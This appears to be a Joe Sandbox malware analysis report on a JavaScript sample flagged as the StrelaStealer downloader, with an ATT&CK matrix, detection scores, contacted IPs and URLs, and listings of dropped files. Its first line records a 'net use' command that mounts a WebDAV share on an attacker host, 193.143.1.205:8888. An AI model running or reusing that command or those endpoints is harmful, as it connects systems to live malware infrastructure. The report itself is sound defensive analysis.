Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
25134116771465314533.js	7%	Virustotal		Browse
25134116771465314533.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/y	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/y	net.exe, 00000007.00000002.2101309122.000002237F10B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3329918030.000001A5B9A0F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2101661094.000001A5B9860000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2101309122.000002237F0D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101309122.000002237F12C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101309122.000002237F0FD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101309122.000002237F10B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sce	net.exe, 00000007.00000002.2101309122.000002237F0D8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588877
Start date and time:	2025-01-11 06:36:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	25134116771465314533.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.233.129.217, 52.22.41.97, 3.219.243.226, 52.6.155.20, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 2.16.168.105, 2.16.168.107, 2.23.197.184, 172.202.163.200, 13.107.246.45, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:37:42	API Interceptor	23x Sleep call for process: powershell.exe modified
00:37:46	API Interceptor	1x Sleep call for process: net.exe modified
00:37:46	API Interceptor	2x Sleep call for process: svchost.exe modified
00:37:59	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2272523722022218526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307090158352625
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugf:gJjJGtpTq2yv1AuNZRY3diu8iBVqFt
MD5:	A5B955BCFD9321B658C8E9D67DADB7D0
SHA1:	0046C933FA46E7BE10BA6CA7CA9380A21D42EF7A
SHA-256:	849B207B7D0F9ABEC25EC78964403D32074E30AE9069A119FF0BF1A4D474A127
SHA-512:	41E49FDC24CAFB12B5E145A31A15CECD1347DF1364BF2148091CBCD3C458FFA2E0C25A8443B2A122594D647D19A7F28B7CFC9D5B2DC9B9BE67060461B9D091F3
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x05178f1e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585580386882468
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:xaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	A87835180619DBFB9B211AC9D873EF04
SHA1:	8A8895B41D0B67AFE8CBB6F3690DDD094937FF1E
SHA-256:	81E421ED426983BE16CCE12C0C689D03D11D15D106445CB2056906D91DEF0370
SHA-512:	4EFA63901A26A5C897AA99A34E09146E0D28B1181E5D93FB955271673747BDD3E4E00C9637336C0AF5B20A09A5E8BBB59507F5961A5102F67FE21897AA346550
Malicious:	false
Preview:	....... ...............X\...;...{......................0.z..........{...%...}m.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................,.%...}................... ...%...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08096791731506894
Encrypted:	false
SSDEEP:	3:gyYe8XwkbGuAJkhvekl1kaFuQl/illrekGltll/SPj:PzuwGrxlS3QtGJe3l
MD5:	31353A3D32C2024268D9628D61054503
SHA1:	588122487CB4770DFB821E70E47033CE214273F6
SHA-256:	E8A205D78426D5CB5D91F8B0D0BEDAC6380E6CC144FB67B9138BCD80C3EB3CFA
SHA-512:	4A88372E973203C4AC03EE02CCDB096DF8B30811A555D97AF6A8D01A4DFC711889ED9126510398F3C03B53FA0DE1D0336B2DA74AD69FFDB1EC214AD7C168CFDA
Malicious:	false
Preview:	.........................................;...{...%...}.......{...............{.......{...XL......{................... ...%...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.250038118746618
Encrypted:	false
SSDEEP:	6:iO4sG+1L+q2P92nKuAl9OmbnIFUtiH91ZmwkJ8sN1LVkwO92nKuAl9OmbjLJ:74n+4v4HAahFUtid1/kJd5LHAaSJ
MD5:	6562EE991FE068D361C74AE33CDC31EA
SHA1:	8A0D08B75992E13AA5D53B3B12E50504A83BB27F
SHA-256:	D40F7134E5B326E10F95933B26E0B611B15EA3C22F1186456FCA6EB91ECCA792
SHA-512:	287BF65BB16F9257C461FA76BE1BC945CC7627589CE54B6C550563EB335DB58BB90A99395A1E4705BDCA07F99184234C042F057FC61AD7DF33FCAB8386F1538D
Malicious:	false
Preview:	2025/01/11-00:37:46.324 c98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:37:46.327 c98 Recovering log #3.2025/01/11-00:37:46.329 c98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.250038118746618
Encrypted:	false
SSDEEP:	6:iO4sG+1L+q2P92nKuAl9OmbnIFUtiH91ZmwkJ8sN1LVkwO92nKuAl9OmbjLJ:74n+4v4HAahFUtid1/kJd5LHAaSJ
MD5:	6562EE991FE068D361C74AE33CDC31EA
SHA1:	8A0D08B75992E13AA5D53B3B12E50504A83BB27F
SHA-256:	D40F7134E5B326E10F95933B26E0B611B15EA3C22F1186456FCA6EB91ECCA792
SHA-512:	287BF65BB16F9257C461FA76BE1BC945CC7627589CE54B6C550563EB335DB58BB90A99395A1E4705BDCA07F99184234C042F057FC61AD7DF33FCAB8386F1538D
Malicious:	false
Preview:	2025/01/11-00:37:46.324 c98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:37:46.327 c98 Recovering log #3.2025/01/11-00:37:46.329 c98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.18239372737963
Encrypted:	false
SSDEEP:	6:iO44+q2P92nKuAl9Ombzo2jMGIFUtiz2WZmwkz9VkwO92nKuAl9Ombzo2jMmLJ:744+v4HAa8uFUtiz2W/kz9V5LHAa8RJ
MD5:	043DB6A31A582BB3433E27E69B4F4747
SHA1:	32559F9EC1D420B546AA3ECD4DD8596C67502A74
SHA-256:	8821E7E2DDECA150C869B90B9C7805419617FCDD5D9A81FF694D5EAA369E78AD
SHA-512:	673E829F98A0C65BE81F7EE0FCB2E8E6F8566CF1866D83B5195B2594958E3B225D33C707AAD7A2F15FDE7B619B224DBA0D926604EA23A835F28ABAF992AFA168
Malicious:	false
Preview:	2025/01/11-00:37:46.398 aec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:37:46.399 aec Recovering log #3.2025/01/11-00:37:46.399 aec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.18239372737963
Encrypted:	false
SSDEEP:	6:iO44+q2P92nKuAl9Ombzo2jMGIFUtiz2WZmwkz9VkwO92nKuAl9Ombzo2jMmLJ:744+v4HAa8uFUtiz2W/kz9V5LHAa8RJ
MD5:	043DB6A31A582BB3433E27E69B4F4747
SHA1:	32559F9EC1D420B546AA3ECD4DD8596C67502A74
SHA-256:	8821E7E2DDECA150C869B90B9C7805419617FCDD5D9A81FF694D5EAA369E78AD
SHA-512:	673E829F98A0C65BE81F7EE0FCB2E8E6F8566CF1866D83B5195B2594958E3B225D33C707AAD7A2F15FDE7B619B224DBA0D926604EA23A835F28ABAF992AFA168
Malicious:	false
Preview:	2025/01/11-00:37:46.398 aec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:37:46.399 aec Recovering log #3.2025/01/11-00:37:46.399 aec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0b1f3f44-e0e9-4c67-bfa1-140eea774452.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.049265445007065
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq/ksBdOg2Hzcaq3QYiubxnP7E4T3OF+:Y2sRds+JdMHK3QYhbxP7nbI+
MD5:	3DF8F54E43953109D1D86E1E8839476C
SHA1:	C7546EEA28E19ED55782E7ED205E0A044434BC31
SHA-256:	F84598871E5A7E2635EA285CD6835D156A2EA887436D9AFF18147315CC30449C
SHA-512:	108C482ED52B476767DE34C7845A77EAC886740307CCB1F0CCA604156CC7A26974C2F18996F70928D000CF1B411CCA32F57D06FB22D25208A3690956EE053549
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381133878981387","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":155064},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.049265445007065
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq/ksBdOg2Hzcaq3QYiubxnP7E4T3OF+:Y2sRds+JdMHK3QYhbxP7nbI+
MD5:	3DF8F54E43953109D1D86E1E8839476C
SHA1:	C7546EEA28E19ED55782E7ED205E0A044434BC31
SHA-256:	F84598871E5A7E2635EA285CD6835D156A2EA887436D9AFF18147315CC30449C
SHA-512:	108C482ED52B476767DE34C7845A77EAC886740307CCB1F0CCA604156CC7A26974C2F18996F70928D000CF1B411CCA32F57D06FB22D25208A3690956EE053549
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381133878981387","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":155064},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.229943017979861
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUNlid+Zj:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL0
MD5:	C031688000815F9590A6DD27BE0F9897
SHA1:	2DA860BFAE76CBB03CD2070FB8F994AFDAD4252A
SHA-256:	460F4EF012AB3BC88ADDE702F1A3CDEC88AEE238A9CC2B4D6780BD510C1364A7
SHA-512:	01935766497B4C8A5D0AF29EE47D62420973197A0E8C68489E00EA41269D1F67A5ADC9E682FE69B8E2DBF83A56B1BC883A6A699A142906CCB3FBE38286C85BE7
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.1734559903175965
Encrypted:	false
SSDEEP:	6:iO463+q2P92nKuAl9OmbzNMxIFUtivN2WZmwkHzVkwO92nKuAl9OmbzNMFLJ:74m+v4HAa8jFUti12W/kTV5LHAa84J
MD5:	0BB7E8B57C53D7EEA186B5AE5F9F1DF8
SHA1:	EC282F326620634AD43A306A0A39BAFD2880E66D
SHA-256:	D2F6D9377A67C45DDF53A32A228C09D907E0AB65915AD9B970323E8D82011377
SHA-512:	5A2A31ED40BDC994CE3B905624E598F0B0FD09E2F5A6A76D8F0DD7FCDA71BFEFF4F9E30E52EA282E865A6823EC4C8CAA28ECC8201A9703C00D175B2ADE44242F
Malicious:	false
Preview:	2025/01/11-00:37:46.518 aec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:37:46.519 aec Recovering log #3.2025/01/11-00:37:46.520 aec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.1734559903175965
Encrypted:	false
SSDEEP:	6:iO463+q2P92nKuAl9OmbzNMxIFUtivN2WZmwkHzVkwO92nKuAl9OmbzNMFLJ:74m+v4HAa8jFUti12W/kTV5LHAa84J
MD5:	0BB7E8B57C53D7EEA186B5AE5F9F1DF8
SHA1:	EC282F326620634AD43A306A0A39BAFD2880E66D
SHA-256:	D2F6D9377A67C45DDF53A32A228C09D907E0AB65915AD9B970323E8D82011377
SHA-512:	5A2A31ED40BDC994CE3B905624E598F0B0FD09E2F5A6A76D8F0DD7FCDA71BFEFF4F9E30E52EA282E865A6823EC4C8CAA28ECC8201A9703C00D175B2ADE44242F
Malicious:	false
Preview:	2025/01/11-00:37:46.518 aec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:37:46.519 aec Recovering log #3.2025/01/11-00:37:46.520 aec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.725651573172974
Encrypted:	false
SSDEEP:	3:kkFklFV5DtfllXlE/HT8kqcl1NNX8RolJuRdxLlGB9lQRYwpDdt:kKWDeT8g7NMa8RdWBwRd
MD5:	3CD53907352D2462D63B9DDB522CC3E5
SHA1:	C415D8CADC34D0403A65A86119F32E34EAB988CD
SHA-256:	B80F13B41560C8BB469840DB95BD7B64B9A504BA596D3EDDF9CFBE3D27DFC8D7
SHA-512:	B2DEF08B884A8C726188FF9198E691216F88C1C266A2685C3A40E32D8635C366A2DDEE6B5CC84F73D82383F7CF0F0EA9CD2D3BD05F32F636A326654E60A00B6B
Malicious:	false
Preview:	p...... ..........h..c..(....................................................... ..........W.....c..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
